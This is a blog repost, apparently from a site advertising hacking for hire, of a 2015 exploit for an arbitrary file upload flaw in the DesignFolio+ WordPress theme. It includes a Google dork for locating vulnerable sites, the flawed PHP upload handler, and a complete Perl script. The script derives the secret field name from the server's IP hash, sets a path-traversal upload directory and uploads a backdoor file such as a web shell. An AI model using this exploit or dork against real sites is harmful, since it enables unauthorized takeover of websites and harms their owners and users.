Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375133

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#########################################################
# Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
# Google dork: inurl:wp-content/themes/DesignFolio-Plus
# Author: CrashBandicot
# Date: 04.03.2015
# Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus
# Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip
# tested on : MsWin32
#########################################################
 
Vulnerable File : upload-file.php
<?php
//Upload Security
$upload_security = md5($_SERVER['SERVER_ADDR']);
$uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";
if( $_FILES[$upload_security] ):
        $file = $_FILES[$upload_security];
        $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));
          
                if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):
                        if(chmod($file,0777)):
                            echo "success"; 
                        else:
                                echo "error".$_FILES[$upload_security]['tmp_name'];
                        endif;
                else:
                    echo "error".$_FILES[$upload_security]['tmp_name'];
                endif;
endif;
?>
 
Exploit
 
#!/usr/bin/perl
 
use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;
 
    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
 
$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
 
($target ,$file) = @ARGV;
 
die "$use" unless $ARGV[0] && $ARGV[1];
 
if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
 
my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');
 
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
 
__END__
 
 
# File path: http://target/shell.php